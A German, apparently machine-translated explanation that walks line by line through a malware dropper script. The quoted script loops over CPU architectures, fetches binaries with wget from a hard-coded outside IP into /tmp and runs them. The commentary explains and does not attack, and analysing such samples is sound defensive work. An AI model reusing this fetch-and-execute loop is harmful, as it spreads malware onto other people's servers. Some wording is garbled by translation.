Zeile für Zeile:
#!/bin/sh
Legt die sh
Schale, je nachdem was ist, als Shebang-Linie fest. sh%20/tmp/ks
In der Anforderung wird dies überschrieben, sodass diese Zeile als normaler Kommentar behandelt und ignoriert wird.
u="asgknskjdgn"
Deklariert einen beliebigen Namen, vermutlich um Kollisionen mit anderen Dateinamen zu vermeiden. Ich bin mir nicht sicher, warum sie nicht nur verwenden würden mktemp
, aber vielleicht ist das nicht auf allen Plattformen verfügbar.
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
Zählt mehrere gängige CPU-Architekturen auf.
http_server="80.211.173.159"
http_port=80
Der Server, der den Exploit hat.
cd /tmp/||cd /var/
Versucht, das Verzeichnis an einen Ort zu ändern, an dem Ihr Webserver wahrscheinlich Dateien erstellen kann. Ich bin davon überzeugt, dass SELinux hier Abhilfe schaffen wird, indem es viel strengere Regeln für die Funktionen des Webservers als für das Dateisystem selbst auferlegt.
for name in $bin_names
do
Für jede CPU-Architektur ...
rm -rf $u
Entfernt zuvor ausprobierte Exploit-Programme. Unnötig wegen der nächsten Zeile, kann also ignoriert werden.
cp $SHELL $u
Kopiert die aktuelle ausführbare Shell-Datei ( /bin/sh
). Kann wegen der Zeile nach dem nächsten ignoriert werden.
chmod 777 $u
Ermöglicht allen Benutzern den vollständigen Zugriff auf die neue Datei. Dies sollte nach dem wget
Befehl geschehen sein, der entweder ein Zeichen für einen Neuling in der Shell-Skripterstellung oder eine Fehlleitungstechnik ist.
>$u
Leert die Datei aus. Sinnlos wegen der nächsten Zeile.
wget http://$http_server:$http_port/$name -O -> $u
Überschreibt die Datei mit dem Exploit-Skript für diese Architektur. -O -> $u
hätte geschrieben werden können -O - > $u
(der Bindestrich gibt an, dass der Download in die Standardausgabe geschrieben werden soll), was äquivalent zu ist -O $u
.
./$u $name
Führt das Exploit-Skript mit der Architektur als erstem Argument aus.
done
Beendet die Schleife.
Es sieht so aus, als wäre dies ein einfaches Exploit-Versuchsskript, mit dem bekannte Exploits auf verschiedenen CPU-Plattformen ausprobiert werden. Ich weiß nicht, warum es $u
dreimal überschreibt , aber diese Operationen könnten einfach von einer früheren Iteration des Skripts stammen. Vermutlich waren die Exploits in früheren Versionen eher hartcodiert als dynamisch bereitgestellt - Ersteres ist einfacher, garantiert jedoch, dass das Skript im Laufe der Zeit weniger effektiv ist, da Fehler behoben werden.